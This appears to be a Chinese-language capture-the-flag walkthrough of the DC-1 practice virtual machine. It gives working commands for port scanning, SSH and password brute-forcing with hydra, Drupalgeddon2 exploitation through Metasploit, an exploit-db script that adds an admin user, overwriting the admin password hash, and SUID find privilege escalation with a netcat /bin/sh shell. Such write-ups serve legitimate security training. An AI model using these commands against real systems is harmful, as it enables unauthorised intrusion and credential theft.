DC-1
- 下载运行
- 信息收集
- 存活主机及其端口探测
- 网站指纹识别
- 目录扫描
- 寻找漏洞
- 漏洞利用
- 反弹shell
- 系统信息收集
- 方法一
- 方法二
- 提权
下载运行
DC-1
需要用VMware15以上版本打开,出现报错时直接点重试。
信息收集
存活主机及其端口探测
从结果中可知主机开放了80端口开放了apache web,并可知网站基于Drupal7,111端口开放了rpcbind服务。
爆破SSH失败
nmap --script=ssh-brute 192.168.124.145
网站指纹识别
访问网站,wappalyer自动识别网站指纹。
目录扫描
python3 dirsearch.py -u http://192.168.124.154/ -e* -i 200
挨个访问没有发现可用信息。
寻找漏洞
针对收集到的信息,在各大搜索引擎,首先针对登录框进行SQL注入和逻辑漏洞测试,发现不存在,但在Requst new password模块发现存在admin用户。
搜索到Drupal存在任意代码执行漏洞。
漏洞利用
反弹shell
在MSF中利用
msfconsole -q
search name:drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set 192.168.124.154
run
返回shell,在shell里发现目标机器有python,反弹交互式shelll,寻找flag文件。
系统信息收集
在现有权限下,寻找flag。
打开flag1.txt试试。
提示去查看配置文件,在网上搜到Drupal配置默认路径,查看大仙flag2和数据库账号密码。
尝试连接,连接成功,通过学习,知道了drupal node机制,于是查看node和user表,发现flag3和admin的密码Hash.
drupal node机制理解
密码无法解密,这有两种方法,
方法一
百度了一下drupal重置管理员密码。发现了这个
http://drupalchina.cn/node/1964
直接进入drupal的安装目录,然后运行命令,
(注意:不要进入scripts目录,会报错)
重置密码:
php ./scripts/password-hash.sh newpassword
update users set pass='$S$Dsv27gPQHbWti67qhEMR2V1HPO/hU5V1jONPedX.eb5cmYlX7U.1' where name='admin';
尝试登录。这里避个雷,该靶机对账号登录次数进行了限制,限制5次,超过五次账号就被错了,所以你在改密码之前不能登录超过五次,不然改了也登录不了。
方法二
查看Drupal版本,确定Drupal版本为7.24。
搜索利用脚本,
searchsploit drupal
利用34992.py脚本,增加一个admin权限用户,本地运行:
python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.124.154 -u admin1 -p admin1
登录数据库,发现flag3
打开flag3,提示打开/etc/passwd文件。发现flag4用户及flag4文件的路径。查看flag4文件。
使用 hydra 进行爆破flag4用户。
hydra -l flag4 -P /usr/share/john/password.lst 192.168.1.158 ssh -vV -f -o hydra.ssh
1.-l 指定用户名
2.-P 加载密码字典(自定义)
3.ssh://ip 指定使用协议和ip地址
4.爆破密码为:flag4/orange
提示我们查看root文件夹,但查看root文件夹需要root权限。
提权
suid提权
利用find命令查找设置了SUID的可执行文件,结果找到了find自己
find 命令说明
-exec 参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以前面加反斜杠。-exec参数后面跟的就是我们想进一步操作的命令,so,我们可以以root的权限命令执行了。
反弹一个shell,当然find和执行命令,我们也可以返回一个root的netcat的后门
1.
/usr/bin/find ./aaa -exec '/bin/sh' \;
2.
/usr/bin/find ./aaa -exec netcat -lvp 4444 -e "/bin/sh" \;
netcat 192.168.124.145 4444
1,
2,